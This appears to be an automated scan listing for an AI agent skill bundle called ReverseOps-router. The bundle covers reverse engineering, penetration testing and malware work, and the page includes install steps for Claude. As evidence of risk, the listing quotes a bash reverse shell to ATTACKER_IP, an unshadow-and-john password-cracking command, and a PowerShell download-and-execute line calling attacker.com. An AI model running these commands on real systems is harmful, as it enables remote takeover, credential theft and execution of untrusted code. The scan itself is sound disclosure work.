ReverseOps-router
Routes reverse engineering, exploitation, penetration testing, malware, mobile, firmware, browser automation, documentation, and security tasks to the…
Connecting the steps of a workflow
What it does
Reverse Engineering Skills Master Control
Use when a task spans modules or the correct ReverseOps entrypoint is unclear
You don’t need to name it. Ask for the job in your own words — your AI loads the skill when the request matches.
What it can touch
Includes 29 scripts
Your AI can run these when the skill is used — on your computer in a coding tool (which asks first unless you have told it not to), or in the AI’s own sandbox in Claude and ChatGPT.
How we know
Found in the skill’s folder: apk-reverse/scripts/decode.ps1, apk-reverse/scripts/decode.sh, apk-reverse/scripts/frida-run.ps1, apk-reverse/scripts/frida-run.sh….
Uses terminal commands
It shows your AI commands to run. In a coding agent that means your terminal; in a chat app it usually can’t.
How we know
The SKILL.md contains shell code blocks.
Opens a remote-control connection to another computer
Code run this way does whatever the other server sends at that moment — what you can read today is not necessarily what runs.
How we know
pentest-tools/src-hunter/references/payloader/raw/tools.json line 1595 (and 11 more in that file): “"command": "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1",”. Read 2026-10-05, commit 21fba9c.
pentest-tools/src-hunter/references/payloader/raw/tools.json, line 1595 ↗Reads saved passwords, browser data or wallets
Files like these hold passwords and keys. A skill rarely needs them, and reading them while also sending data out is how secrets get stolen.
How we know
pentest-tools/src-hunter/references/payloader/raw/tools.json line 713 (and 1 more in that file): “"command": "unshadow /etc/passwd /etc/shadow > mypasswd\njohn --wordlist=wordlist.txt mypasswd",”. Read 2026-10-05, commit 21fba9c.
pentest-tools/src-hunter/references/payloader/raw/tools.json, line 713 ↗Downloads a script and runs it in one step, unread
Code run this way does whatever the other server sends at that moment — what you can read today is not necessarily what runs.
How we know
pentest-tools/src-hunter/references/payloader/raw/tools.json line 1062 (and 5 more in that file): “"command": "IEX (New-Object Net.WebClient).DownloadString(\"http://attacker.com/script.ps1\")",”. Read 2026-10-05, commit 21fba9c.
pentest-tools/src-hunter/references/payloader/raw/tools.json, line 1062 ↗Asks for administrator rights
Some of its commands use sudo or "run as administrator". Those can change anything on your computer.
How we know
Seen in its code. Read 2026-10-05, commit 21fba9c.
Adds a connector (MCP server)
It sets up a separate program your AI can call. That program is not covered by this check.
How we know
An MCP configuration or "mcp add" command in its files. Read 2026-10-05, commit 21fba9c.
9 smaller things worth knowing
Refers to a credentials file (SSH keys, cloud logins, tokens); Contacts a server by raw IP address; Contains commands that delete or overwrite; Reads saved passwords, browser data or wallets; and more. Usually legitimate — listed so nothing is hidden.
How we know
Refers to a credentials file (SSH keys, cloud logins, tokens) — api-security/references/rest-graphql-testing.md line 77; Contacts a server by raw IP address — api-security/references/rest-graphql-testing.md line 77; Contains commands that delete or overwrite — apk-reverse/scripts/decode.ps1 line 113; Contains commands that delete or overwrite — apk-reverse/scripts/decode.sh line 76; Refers to a credentials file (SSH keys, cloud logins, tokens) — attack-chain/SKILL.md line 281; Contacts a server by raw IP address — attack-chain/SKILL.md line 281. Read 2026-10-05, commit 21fba9c.
api-security/references/rest-graphql-testing.md, line 77 ↗api-security/references/rest-graphql-testing.md, line 77 ↗apk-reverse/scripts/decode.ps1, line 113 ↗apk-reverse/scripts/decode.sh, line 76 ↗attack-chain/SKILL.md, line 281 ↗attack-chain/SKILL.md, line 281 ↗Recently maintained
Its repository has had changes recently.
How we know
Last push to xAmirHamza77/ReverseOps-Skill: 2026-08-02 (64 days before the scan).
Read automatically from the skill’s own files on GitHub on 5 Oct 2026. Launch7 does not run or manually review skills: this lists what the check saw, and nothing here means “safe”. How we check
Add it to your AI
Partly. Upload it in Claude’s settings — the instructions work; the scripts need the full folder.
Built in your browser from the SKILL.md on GitHub — nothing passes through Launch7.
In Claude, open Customize → Skills, press +, then Create skill → Upload a skill, and choose the .zip.
Make sure code execution is switched on (Settings → Capabilities). Skills need it.
Start a new chat and ask for the job in your own words — Claude picks the skill up when it fits.
This skill ships 29 scripts beside its instructions. The download here is the SKILL.md alone — enough for the instructions, not for the parts that run code. Use the command route, or take the full folder from the repository.
How Claude does this: support.claude.com · checked 28 Sep 2026 · “Supported” means documented by the vendor; Launch7 has not run it end to end
More from xAmirHamza77
All from this publisher →- pentest-tools
Active penetration testing toolchain.
